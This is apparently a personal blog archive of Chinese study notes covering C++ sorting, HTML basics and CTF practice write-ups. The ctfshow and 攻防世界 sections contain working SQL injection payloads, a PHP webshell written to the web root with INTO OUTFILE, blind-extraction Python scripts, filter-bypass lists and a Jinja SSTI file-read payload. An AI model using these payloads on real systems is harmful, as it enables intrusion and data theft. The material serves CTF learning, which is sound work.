yzklov


  • Home

  • Archives

  • Tags

  • Search

re

Posted on 2024-03-27

Untitled

Posted on 2024-03-15

竞赛章程:https://dasai.lanqiao.cn/notices/839/

oi赛制

C++自带的sort排序函数的使用

需要引用算法库

1
#include <algorithm>

通过写

1
sort(arr,arr+5)

我们可以将arr中从开始的元素到第5个元素按从小到大的顺序排列

而如果我们写

1
sort(arr+i,arr+j)

那么被排序的将是arr[i]到arr[j-1],其他元素将保持原位置

默认是从小到大排序,如果要从大到小排,则可以传入第三个参数–排序方法:

1
2
#include <functional>
sort(arr,arr+5,greater<int>());

其中,greater表示更大的意思,<int>表示待排序的数组中的元素类型为int

1
2
3
4
5
6
7
8
9
10
11
#include <iostream>
#include <algorithm>
using namespace std;
int main(){
int arr[]={2,4,5,3,1};
sort(arr,arr+5,greater<int>());
for(int i=0;i<5;i++){
printf("%d ",arr[i]);
}
return 0;
}

字符串的两种风格

1
2
3
4
5
//c风格字符串
char arr[]="hello world";
//c++风格字符串
#include <string> //在使用c++风格的字符串要包含这个头文件
string arr = "hello world"

c++读入字符串并打印

1
2
3
4
5
6
7
8
#include <string>
#include <iostream>
using namespace std;
int main(){
string arr = "hello world";
cout << arr << endl;
return 0;
}

c语言读入字符串并打印

1
2
3
4
5
6
7
8
9
#include <cstdio>
int main() {
char str[100];

printf("请输入字符串:");
scanf("%s", str);
printf("您输入的字符串是:%s\n", str);
return 0;
}

c语言读入整形数组元素并打印

需要注意的是scanf读入的时候遇到空白字符(空格、制表符、换行符等)或者文件结束符时停止读取,所以输入的时候数字要通过空格或者换行隔开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<cstdio>
#include <functional>
#include <algorithm>
using namespace std;
int main(){
int arr[10];
for(int i=0;i<10;i++){
scanf("%d",&arr[i]);
}
sort(arr,arr+10,greater<int>());
for(int j=0;j<10;j++){
printf("%d ",arr[j]);
}
return 0;
}
1
cout << arr[j] << " "; //空格隔开

末尾严格控制空格

知道个数时,判断结尾

1
2
3
4
5
6
7
8
for(int i=1;i<=6;i++){
if(i!=6){
cout << B[i] << " ";
}else{
cout << B[i] << endl;
}
}
return 0;

不知道个数时,判断开头

1
2
3
4
5
6
7
for(int i=1;i<=6;i++){
if(i==1){
cout << B[i];
}else{
cout << " " << B[i];
}
}

在 C++ 的标准库中,sort 函数可以接受一个比较函数作为参数,以便在排序时确定元素的顺序。这个比较函数需要满足一定的条件,它应该接受两个参数(通常是被比较的两个元素),并返回一个布尔值,表示两个元素的比较结果。如果返回 true,则第一个参数应该排在第二个参数之前;如果返回 false,则第一个参数应该排在第二个参数之后

1
2
3
4
bool cmp(int x,int y){ //函数名可以随意
return x>y;
}
sort(arr,arr+10,cmp);

结构体赋初值

对于开发更加复杂的程序,我们往往会许哟啊构造函数在初始化的过程中做很多事情,但是对于竞赛 来说,我们只需要构造函数给结构体赋初值就行了,所以我们其实可以使用另一种更加简单的方式,初始化列表,来直接对结构体成员进行初始化:

1
2
3
4
5
6
struct student{
int score;
string name;
student() {} //注意不可省略默认构造函数
student(string n,ing s): name(n),score(s) {}
};

如上所示,初始化列表的写法是,在构造函数的括号后面加一个冒号,然后按照成员变量(参数)的格式,依次对每一个变量进行初始化,彼此之间用逗号隔开。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream>
#include <string>
using namespace std;
struct student{
string name;
int score;
student() {}
student(string n,int s): name(n),score(s) {}
};
int main(){
student stu[3];
for(int i=0;i<3;i++){
int s;
string n;
cin >> n >> s;
stu[i]=student(n,s);
}
for(int i=0;i<3;i++){
cout << stu[i].name << " " << stu[i].score << endl;
}
return 0;
}

对结构体进行排序:

输入三个学生的四科分数并按照分数从高到低排序 ,先看第一科,再看第二科依次类推

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 #include <iostream>
#include <string>
#include <algorithm>
using namespace std;
struct student{
string name;
int score[4];
};
bool cmp(student x,student y){
if(x.score[0]!=y.score[0]){
return x.score[0]>y.score[0];
}
if(x.score[1]!=y.score[1]){
return x.score[1]>y.score[1];
}
if(x.score[2]!=y.score[2]){
return x.score[2]>y.score[2];
}
if(x.score[3]!=y.score[3]){
return x.score[3]>y.score[3];
}
}
int main(){
student stu[3];
for(int i=0;i<3;i++){
cin >> stu[i].name;
for(int j=0;j<4;j++){
cin >> stu[i].score[j];
}
}
sort(stu,stu+3,cmp);
for(int i=0;i<3;i++){
cout << stu[i].name << ": ";
for(int j=0;j<4;j++){
cout << stu[i].score[j] << " ";
}
cout << endl;
}
return 0;
}

排序函数的名字是可以随意命名的,也可以同时定义多个排序函数,根据实际情况调用

image-20240323172043832

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <cstdio>
#include <iostream>
#include <algorithm>
using namespace std;
int main(){
int N,l1,r1,l2,r2;
int score[105];
scanf("%d%d%d%d%d",&N,&l1,&r1,&l2,&r2);
for(int i=0;i<N;i++){
scanf("%d",&score[i]);
}
sort(score+l1-1,score+r1);
sort(score+l2-1,score+r2,greater<int>());
for(int i=0;i<N;i++){
if(i==0){
printf("%d",score[i]);
}else{
printf(" %d",score[i]);
}
}
return 0;
}

排序两个数的所有位相加的和从小到大,如果相同则比较原数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bool cmp(int a,int b){
int aa=a,bb=b;
int suma = 0,sumb = 0;
while(a){
suma+=a%10;
a/=10;
}
while(b){
sumb+=b%10;
b/=10;
}
if(suma ==sumb){
return aa<bb;
}
return suma <sumb;
}

Hello World

Posted on 2024-03-14

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

hackergame2023_misc

Posted on 2023-11-29

编码

Posted on 2023-11-04

浏览器url编码

1.将空格转换为加号(+)

2.对0-9、a-z、A-Z之间的字符保持不变

3.对于所有其他的字符,用这个字符的当前当前字符集编码在内存中的十六进制格式表示,并在每一个字节前加上一个百分号(%),如字符“+”是用%2B表示,字符“=”用%3D表示,字符“&”用%26表示,每个中文字符在内存中占两个字节,字符“中”用%D6%D0表示,字符“国”用%B9%FA表示。

4.空格也可以直接用其十六进制编码方式,即用%20表示,而不是将它转换为加号(+)

5、浏览器通常会对URL中的其他特殊字符,如空格(编码为%20)、斜杠(编码为%2F)、冒号(编码为%3A)等进行编码,以确保URL的正确性和可传输性。但对于&字符,通常不进行编码,因为它在URL中有特定的分隔作用。

6、浏览器通常不会对竖线字符(|)进行编码,因为竖线在URL中通常被视为普通字符,而不是特殊字符。 URL编码主要用于将特殊字符转换为URL安全格式,以确保它们可以正确传输和解析,同时不干扰URL的结构

在使用url进行参数传递时,经常会传递一些中文名(或含有特殊字符)的参数或URL地址,在后台处理时会发生转换错误。这些特殊符号在URL中是不能直接传递的,如果要在URL中传递这些特殊符号,那么就要使用他们的编码了

序号 特殊字符 含义 十六进制值
1 + URL 中+号表示空格 %2B
2 空格 URL中的空格可以用+号或者编码 %20
3 / 分隔目录和子目录 %2F
4 ? 分隔实际的 URL 和参数 %3F
5 % 指定特殊字符 %25
6 # 表示书签 %23
7 & URL 中指定的参数间的分隔符 %26
8 = URL 中指定参数的值 %3D

image-20231104164730812

php函数绕过总结

Posted on 2023-11-01

前言

函数绕过的前提是对应的php版本

intval()

1
int intval ( mixed $var [, int $base = 10 ] )

函数作用:获取变量的整数值

0x:16 0:8 0b:2 默认10

科学计数法绕过

当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值

1
2
3
echo intval(1e10);              // 1410065408
echo intval('1e10'); // 1
echo intval('1e10'+1); // 1410065409

应用场景:

1
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024)

进制绕过

当某个数字被过滤时,可以使用它的 8进制/16进制来绕过。

当 base 为空时,默认值是 0,会根据 $var 的格式来调整转换的进制。

  • 如果 $var 以 0 开头,就使用 8进制

  • 如果 $var 以0x开头,就使用 16进制

  • 否则,就使用 10进制

转换字符串特性绕过

  • 如果以数字开头,就返回1个或多个连续的数字
  • 如果以字母开头,就返回0
1
2
3
4
5
6
7
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
<!-- flag in id = 1000 -->

payload:?id=2 or id=1000

数组绕过

intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素,有为1无为0

三种数组写法:

1
2
3
4
5
$a[]=1;

$a=array(1,2);

$a=[1,2];

但在传参时一般使用第一种形式,经过测试发现,传参默认都是字符串类型,根据intval的字符串转换规则,如果字符串第一个字符不是数字就会直接返回0,所以后面两种形式都是返回0,只有第一种可以正确返回数字1

image-20231101235921465

取反~绕过

当某个数字被过滤时,可以两次取反来绕过

1
2
var_dump(intval(~10));  \\ -11
var_dump(intval(~~10)); \\ 10

算数运算符绕过

当某个数字被过滤时,可以使用算数运算符绕过

1
2
3
var_dump(intval(5*5));
var_dump(intval(5+5));
var_dump(intval(05+5));

输出:

1
2
3
int(25)
int(10)
int(10)

SQL注入intval()函数绕过黑名单方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#flag in id=1000
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
die("id error");
}
if(intval($id) > 999){
die("id error");
}
else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
}
根据黑名单的不同,访问?id=1000有以下几种方法:
?id='1000' //"1000"或(1000)皆可
?id=125<<3 //左移
?id=680|320 //按位或
?id=992^8 //按位异或
?id=~~1000 //两次取反
?id=0x3e8 //十六进制
?id=0b1111101000 //二进制

preg_replace()

前端基础学习

Posted on 2023-10-28

image-20231028104405040

<!DOCTYPE>:文档类型声明,作用是告诉浏览器使用哪种HTML版本来显示网页

1
<!DOCTYPE html>  

代码意思是当前页面采取的是HTML5版本来显示网页

lang:定义显示语言,这个属性主要对浏览器是否翻译网页有用,不影响非定义中的语言的显示

meta标签中的charset属性用来规定html文档应该使用哪种字符编码

html常用标签

<br />:换行标签

<div>、<span> :盒子标签,用来装内容

<img src="图像URL" />:图像标签,相对路径是相对html文件,如果直接是图片名,说明在同一级。也可以使用绝对路径,网络上的或者本地从盘符开始

1
2
alt:图片显示不出来代替的文字
title:鼠标放在图片上提示的文字

<a>:超链接标签

1
2
<a href="跳转目标" target="目标窗口的弹出方式">文本或图像</a>
target:_self(默认 替换当前页面)、_blank(新窗口打开)

链接分类:

1
2
3
4
5
6
7
8
9
10
11
外部链接:例如<a href= "http://www.baidu.com">百度</a>
内部链接:网站内部页面之间的相互链接,直接链接内部页面名称即可,例如<a href="index.html">首页</a>
空链接:<a href="#">地址</a>,开发过程中
下载链接:如果href里面地址是一个文件.exe或者压缩包.zip,会下载这个文件

网页元素链接:在网页中的各种网页元素,如文本、图像、表格、音频、视频等都可以添加超链接
<a href="http://www.baidu.com"><img src="img.jpg"/></a> 点击图片即可跳转

锚点链接:点击链接,可以快速定位到页面中的某个位置
在链接文本的href属性中,设置属性值为#名字的形式,如<a href="#two">第2集</a>
找到目标位置标签,里面添加一个id属性=刚才的名字, 如: <h3 id="two">第2集介绍</h3>

<!-- 注释语句 -->:注释标签,可在源代码中显示

特殊字符:在HTML页面中,一些特殊的符号很难或者不方便直接使用 ,此时我们就可以使用下面的字符来替代

image-20231028114851140

表格标签:用来展示数据

1
2
3
4
5
6
7
8
<table>
<tr>
<th>姓名</th>
<td>单元格内的文字</td>
...
</tr>
...
</table>
1
2
3
<table>:定义表格,<tr>定义表格中的行,<td>:定义表格中的单元格。<th>表头标签。都是双标签
<thead> </thead> :用于定义表格的头部。<thead> 内部必须拥有<tr>标签。一般是位于第一行
<tbody> </tbody> :用于定义表格的主体,主要用于放数据本体

列表标签:用来布局

1、无序列表

1
2
3
4
5
<u1>
<li>列表项1</li>
<li>列表项2</li>
<li>列表项3</li>
</ul>

2、有序列表

1
2
3
4
5
<ol>
<1i>列表项1</li>
<li>列表项2</1i>
<1i>列表项3</li>
</o1>

3、自定义列表(重点)

1
2
3
4
5
<dl>
<dt>名词1</dt>
<dd>名词1解释1</dd>
<dd>名词1解释2</dd>
</d1>

表单标签

目的:收集用户信息

组成:在HTML中,一个完整的表单通常由表单域、表单控件(也称为表单元素)和提示信息3个部分构成

1、表单域

表单域是一个包含表单元素的区域。在HTML标签中,<form> 标签用于定义表单域,以实现用户信息的收集和传递。<form>会把它范围内的表单元素信息提交给服务器,那么如果点击提交按钮就会跳转到url地址,如果是get,就会是xxx.php?pwd=x&username=X

1
2
3
<form action="url地址" method="提交方式" name="表单域名称">
各种表单元素控件
</form>

image-20231028201629013

2、表单控件

在表单域中可以定义各种表单元素,这些表单元素就是允许用户在表单中输入或者选择的内容控件。

(1) input输入表单元素

1
<input type="属性值" />

image-20231028202317577

提交表单元素,value规定按钮中的文字内容

1
<input type="submit" value="免费注册">

button用来和js搭配使用,启动js脚本的动作

file上传文件

除了type属性外<input>标签的其他属性

image-20231028203442210

name属性区分表单元素,单选和多选的每个表单元素需要有相同的name属性

checked主要针对单选和复选框,页面打开的时候默认选中

value在非选择框中规定输入框中默认的文字,在选择框中代表选择之后送到后台的内容

一个关于表单的测试

image-20231028205221478

image-20231028205247822

观察到url地址的变化,转到action指定的处理脚本路径,后面是对应的get传参,参数名就是前面input标签中定义的name属性值。但是由于我没有提前在网站根目录中创建login.php文件,所以显示无法找到

image-20231028205313188

补充:<label>标签用于绑定一个表单元素 当点击<label>内的文本时,浏览器就会自动将焦点(光标转到或者
选择对应的表单元素上用来增加用户体验

1
2
3
男<input type="radio" name="sex"/>
->
<label for="sex">男</label><input type="radio" name="sex" id="sex" />

id属性和label中的for属性需一致

(2)select下拉表单元素

1
2
3
4
5
<select>
<option>选项1</option>
<option>选项2</option>
<option>选项3</opt ion>
</select>

在<option>中定义selected =”selected”时,当前项即为默认选中项

(3)textarea 文本域元素

使用场景:当用户输入内容较多的情况下,我们就不能使用文本框表单了,此时我们可以使用该标签。评论、反馈

1
2
3
<textarea rows="3" cols="20">
默认文本内容
</textarea>

cols每行字符数,rows显示的行数

关于html常用的vscode插件
1、Auto Rename Tag:双击html的标签并修改会前后一起改变
2、One Dark Pro:一款颜色主题
3、系统自带格式化:设置->文本编辑器->格式化->勾上format on paste和format on save
4、open in browser :可以在浏览器中显示页面
右键选择open in default browser在默认浏览器打开
5、Live Server(推荐) : 实时预览,但首先需要打开一个文件夹
右键选择open in Live Server,也是在浏览器中打开但和上面不同的是内容会随代码的改变而实时变化
6、Easy LESS : 我们写的less不能直接引入到html文件中,通过这个插件可以自动帮我们生成css文件
7、会了吧 : 英文翻译,点击左侧的会
8、vscode-icons 图标修改

vscode常用快捷键

  • ctrl + -/+ :缩小放大代码
  • shift + alt + 下键 : 选中某行并复制到下一行
  • ctrl + d :先双击选定一个单词,然后按下ctrl+d可以往下依次选择相同的单词,这样同时修改相同的单词就非常方便
  • ctrl + alt+ 上或下:添加多个光标,可以同时添加内容
  • ctrl + h:全局查找替换某个单词
  • ctrl + g:跳转到某行
  • shift + alt 然后拖动鼠标选中一个区块,可以一起删除
  • ctrl + / :单行注释
  • 自定义快捷键:左下角管理->键盘快捷方式,查找shift + alt + a(原本的多行注释快捷键),点击修改,直接按键修改,回车就修改成功,那么多行注释就变成ctrl + shift + /

javascript

ctfshow-web入门

Posted on 2023-10-22

前言

这个只选择性的摘录ctfshow中的web入门题目,作为后面复习的资料

web2

当右键被禁掉的时候可以使用ctrl+u查看网页源代码

web7

.开头的文件夹在linux操作系统中是隐藏文件,所以开发人员可能错误地将.git文件夹部署到生产环境中,导致源码泄露等问题。.svn同理,svn也是一个版本控制软件
本题直接访问/.git

web9

在linux中使用vim更改文件内容,如果非正常退出就会产生一个交换文件,如:index.php.swp,会以隐藏文件的形式在文件夹下
本题直接访问下载/index.php.swp

web10

f12,刷新页面,打开存储中的cookie

image-20231022180505270

flag需要解码,这里可以使用hackbar自带的

image-20231022180703155

web11

域名解析查询

https://ipw.cn/dns/

image-20231022192951769

web16

题目:对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

访问/tz.php,点击查看phpinfo

image-20231022202609335

flag在环境变量里,这也是信息泄露的一种

web17

题目:备份的sql文件会泄露敏感信息

/backup.sql

web18

题目:不要着急,休息,休息一会儿,玩101分给你flag

右键源代码

image-20231022204735548

查看js文件

image-20231022204809378

控制台直接运行弹窗

image-20231022204849578

image-20231022204904625

web19

题目:密钥什么的,就不要放在前端了

根据提示直接右键源代码

image-20231023195713890

可以直接post提交账号密码,也可以通过AES解密获得密码登录,这里直接放出了密钥的加密过程,AES所必须的密码和偏移量都知道了,选择ZeroPadding填充,CBC模式,hex编码输出,base64不行

image-20231023200453885

web21

image-20231102190423779

取消url编码 因为在进行base64加密的时候在最后可能存在 == ,如果进行url编码就会影响base64加密的结果

image-20231102190726078

web22

image-20231102193815520

这题给我的思路就是如果代码看不懂,可以把代码搬到本地爆破调试,当通过两个if的时候有输出提示

image-20231102193931184

image-20231102194000656

web23

image-20231102195258485

1
2
3
4
<?php
mt_srand(372619038);
echo intval(mt_rand());
?>

ps:不同版本的php得出的结果有差异

web25

考点是如果知道随机数中的某个值,有概率反推出seed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

这题的种子没有直接告诉我们,但是要获得flag,必须传入正确的token,所以要反推seed。

我们可以通过让intval($r)=0 让$rand不为0不满足if条件输出rand的值,同时可以获得mt_rand()第一次产生的随机数值的负数形式

image-20231102201425306

使用随机数反推seed工具

image-20231102201452631

因为上一题是用7.3版本得出正确的随机数,所以我们这一题自然想先尝试7.1.0+版本,图中的16和10进制都可以,是等价的。要注意的是seed确定之后每次生成的随机数是固定的,第一二三次的值固定,所以第一次生成随机数的操作不能省略。

1
2
3
4
5
6
7
<?php

mt_srand(0x7135c313);
echo mt_rand(). "\n";
$token=(mt_rand()+mt_rand());
echo $token;
?>

得到token,传入cookie

image-20231102202705326

别忘了传r,根据if的条件,$rand要等于0,所以传入?r=435058645,刷新得到flag

ctfshow{e8e1e54d-da65-42bd-9a4b-6f88ccf56c43}

sql注入

在bp中传参时末尾的+不要url编码

171

1
2
3
4
5
6
7
8
# 查数据库
-1'union select 1,2,group_concat(schema_name) from information_schema.schemata--+
# 查表名
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
# 查列名
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
# 查flag
-1'union select id,username,password from ctfshow_user --+

172

题目:

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

payload:

1、不查询username字段,绕过检测

1
-1'union select id,password from ctfshow_user2 --+

2、编码绕过

1
-1'union select to_base64(username),hex(password) from ctfshow_user2 --+

3、通过171的题目入口联合查询ctfshow_user2,171没有过滤。前提是两个表在一个库

1
-1' union select 1,username,password from ctfshow_user2 where ctfshow_user2.username = 'flag' --+

4、3的衍生,使用别名,防止列名重复

1
-1' union select 1,b.username,b.password from ctfshow_user2 as b where b.username = 'flag' --+

174

mysql常用字符串函数:https://www.cnblogs.com/geaozhang/p/6739303.html

题目:

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

使用replace函数替换flag中的数字

1
9999'union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(b.password,'0',')'),'1','!'),'2','@'),'3','#'),'4','$'),'5','%'),'6','^'),'7','&'),'8','*'),'9','(') from ctfshow_user4 as b where b.username = 'flag --+

但是一直报错,原来是发包有坑,发出去的id值不是完整的

image-20240417153255917

完整的如下

image-20240417153311473

这种是知道数据库名的前提下,由于数据库名也有数字,所有也要替换。除此之外我们可以使用盲注。

175

1、写入网站根目录

1
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

2、写马,但连不上数据库

1
-1' union select 1,"<?php eval(@$_POST[1]); ?>" into outfile '/var/www/html/1.php' --+

image-20240417194755829

177

1
-1'union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

-

182

1
-1'%0cor%0cusername%0clike'%la%
1
-1'or(mid(username,1,1)='f')and'1'='1

183

1
2
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

pass应该就是password,去匹配ctfshow来查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://064788b5-2abd-4bed-8177-8aa66e6477bb.challenge.ctf.show/select-waf.php"

flagstr = "ctfshow{abdegijklmnpqruvxyz-0123456789}"
flag = ""
for i in range(0, 50):
for x in flagstr:
data = {
"tableName": "`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag + x)
# "tableName": "`ctfshow_user`where`pass`regexp('ctfshow{}')".format(flag + x)
}
response = requests.post(url, data=data)

if (response.text.find("$user_count = 1;") > 0):
flag += x
print(flag)
break

184

分组查询语法

1
SELECT 字段列表 FROM 表名 [WHERE 条件] GROUP BY [HAVING 分组后过滤条件]

where和having的区别:where是分组之前进行过滤,不满足where条件,不参与分组;而having是分组之后对结果进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = "http://92152998-9415-41b7-911d-88bdaca6fbbe.challenge.ctf.show/select-waf.php"
flagstr = "{abcdefghijklmnopqrstuvwxyz-0123456789}"
def to_hex(str):
a = ""
for x in str:
a+= hex(ord(x)).replace("0x","")
return a
flag = ""
for i in range(0,40):
for x in flagstr:
data = {
"tableName": "ctfshow_user group by pass having pass regexp(0x{})".format(to_hex(flag + x))
}
response = requests.post(url, data=data)
if(response.text.find("$user_count = 1;")>0):
flag += x
print("ctfshow{}".format(flag))
break

185

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"

url = "http://48fae3d2-6175-476d-a180-10a9ddaa0823.challenge.ctf.show/select-waf.php"
s = '0123456789abcdef-{}'
flag = ''
for i in range(1, 45):
for j in s:
d = convert(f'^ctfshow{flag + j}')
data = {
'tableName': f' ctfshow_user group by pass having pass regexp({d})'
}
# print(data)
r = requests.post(url, data=data)
# print(r.text)
if ("user_count = 1" in r.text):
flag += j
print("ctfshow"+flag)
if j == '}':
exit(0)

sql绕过总结

空格过滤绕过

  • %20: 空格
  • %09: 水平制表符(Tab)
  • %0A: 换行符(LF)
  • %0B: 垂直制表符
  • %0C: 换页符(FF)
  • %0D: 回车符(CR)
  • %A0: 不间断空格(NBSP)
  • %00: 空字符(NULL)
  • /**/ ,(),`,tab,两个空格

注意在使用()绕过的时候,括号里边不能有*号

image-20240418112900178

or and xor not 过滤绕过

1
and = && or = ||  xor = | #   not = !

=号过滤绕过

1、like,=号和不加通配符的 like 是一样的

image-20240418112828379

2、还可以使用 !< >号来绕过,<> 在mysql中等于!= 如果在加一个! 双重否定代表肯定 就是=了

image-20240418112843033

php特性

攻防世界web

Posted on 2023-10-19

Confusion1

image-20231019211535114

login.php中Ctrl+U查看页面源码发现flag路径

image-20231019211606001

login.php4测试ssti漏洞

image-20231019211630276

测试pyaload:

1
{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

image-20231019211702087

被过滤了

参数替换payload:

1
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

image-20231019211752275

cyberpeace{6df74ab602e50a9c41d5bb417cb241ed}

FlatScience

攻防世界misc

Posted on 2023-10-14

Banmabanma

打开是张png图片,条形码,直接在线解码

image-20231012201650145

image-20231012234119565

stesolve打开

image-20231012234237210

winhex打开,ctrl+r选择转换方式

image-20231012234321087

发现.py,flag

image-20231012232615491

保存为pyc后缀,在线网站反编译

image-20231012234501702

image-20231012234519542

心仪的公司

1
strings webshell.pcapng |grep {

image-20231012235913529

pure_color

image-20231014102045432

image-20231014102055075

2017_Dating_in_Singapore

按中间的-分隔数字,刚好是12行,都是十进制数,不足10的在前面补0,将数字按顺序在图中标出来,发现flag

image-20231014102107390

image-20231014102116944

simple_transfer

下载是个.pcap文件

分离发现pdf,建议使用foremost,因为用binwalk发现pdf损坏

image-20231014102125672

直接打开pdf
image-20231014102132634

HITB{b3d0e380e9c39352c667307d010775ca}

Training-Stegano-1

下载是个bmp文件

bmp:Windows操作系统中的标准图像文件格式
图片上就一个点,很抽象,结合题目描述:这是我能想到的最基础的图片隐写术

image-20231014102142609

直接010打开或者notepad++都行

image-20231014102150964

flag:steganoI

下载解压后是

image-20231014102157969

直接记事本打开

image-20231014102206942

brainfuck在线解释器:http://esoteric.sange.fi/brainfuck/impl/interp/i.html

image-20231014102213269

010打开发现png头,就改后缀为png,放到stesolve里面也没什么发现,ok,不会了

看了wp发现竟然这里有hint

image-20231014102223894

中间居然有个二维码

image-20231014102240809

直接扫不出来,wp说可以使用ps将两个比较清晰的二维码拼成一个完整的直接扫,但我没有ps。010打开,文件末尾有一个网站可以下载一个图片,然后使用python脚本

image-20231014102249670

那个图片下不来,但是知道后面只要用python脚本跑一下

其他解法:https://blog.csdn.net/m0_56161093/article/details/122471779

János-the-Ripper

没什么好说的,直接改成.zip后缀,密码爆破即可。

发现这里面的题目普遍不给文件后缀

Test-flag-please-ignore

打开

image-20231014102255899

直接16进制转字符串

hong

解压后是MP3格式,但是用音频软件打不开,那就分离试试
image-20231014102303639

第一张图片扫码后是

1
03f30d0ad41db4576300000000000000000100000040000000730d0000006400008400005a00006401005328020000006300000000030000000700000043000000734b0000006401006402006403006404006405006406006407006707007d00006408007d0100781e007c0000445d16007d02007c01007400007c0200830100377d0100712800577c010047486400005328090000004e694d0000006972000000692e0000006948000000696f000000696e0000006967000000740000000028010000007403000000636872280300000074030000007374727404000000666c6167740100000069280000000028000000007304000000612e7079520300000001000000730a00000000011b0106010d0114024e280100000052030000002800000000280000000028000000007304000000612e707974080000003c6d6f64756c653e010000007300000000

是”适合作为桌面”那一题的解法,但是修改代码并运行发现不是flag

image-20231014102309670

image-20231013190250746

另一张图片

image-20231014102314485

misc_pic_again

一张png图片

image-20231014102318984

lsb隐写,藏了一个zip文件,保存出来,解压出来是一个1文件,然后嘞,010搜flag发现没有,其实搜索词应该是hctf,或者{

image-20231014102323424

reverseMe

image-20231014102328059

image-20231014102332111

hit-the-core

.core文件,直接strings查找字符,这里就考验细心了,XCTF每个相隔4个字符

image-20231014102337066

1
2
3
4
5
num='cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}'
flag = ''
for i in range(3,len(num),5):
flag += num[i]
print(flag)

打开是一个抽象的gif???

image-20231014102341590

这题的意思就是把每一帧按从左往右拼接起来就是flag,wp有人是用kali的convert和montage,或者是python脚本,但是直接网站一键分解即可
gif动态图分解:https://tu.sioe.cn/gj/fenjie/
image-20231014102351099

只能说nb,TWCTF{Bliss by Charles O’Rear}

normal_png

一张图片

image-20231014102354834

发现crc不对,可能是图片高度有问题

image-20231014102359985

image-20231014102404554

image-20231014102407779

题目是一个gif,010打开,发现末尾是类似base的字符,解码两次出flag

image-20231014102411866

密钥是ISCC

image-20231014102416825

a_good_idea

rar文件解压出

image-20231014102423169

hint.txt: try to find the secret of pixels

我们使用stegsolve联合两个图片

image-20231014102426754

然后save保存,再用stegsolve打开,发现二维码

image-20231014102430712

image-20231014102436557

NCTF{m1sc_1s_very_funny!!!}

Ditf

打开是一张图片,010打开发现尾部不是png尾,说明里面有东西,foremost分解出来

image-20231014102444072

image-20231014102449510

但其实一开始是有发现图片的高度不对,CRC爆破发现

image-20231014102452465

是rar的密码,输入密码

image-20231014102456694

记事本打开

image-20231014102502694

image-20231014102505203

miss_01

解压,唉?

image-20231014102510764

image-20231014102514979

docx是空的,我们再看看zip文件,是wav,但是要密码

image-20231014102517921

问题就是zip文件损坏,扔到zip修复大师修复后打开,打开docx,题目名是miss,所以想到有没有隐藏字符image-20231014102527984

image-20231014102531130

确实是有

image-20231014102535844

搜一下这个线索waoootu.epj,nv o,得到线索是希尔加密,密钥就是www.verymuch.net

image-20231014102540449

加密出来的密码是rabbit的密码,进行解密

image-20231014102544352

base32解码

image-20231014102547691

image-20231014010200653

变成新佛曰编码

image-20231014102550848

fun.zip解压密码:Live beautifully, dream passionately, love completely.

打开音频文件,显示频谱图

image-20231014102554145

image-20231014102557925

flag{m1sc_1s_funny2333}

##m0_01

解压是12.pcapng,试着foremost,不行,用wireshark打开

image-20231014105840050

usb流量分析,第一次接触这种题,我们来了解一下一些基础知识

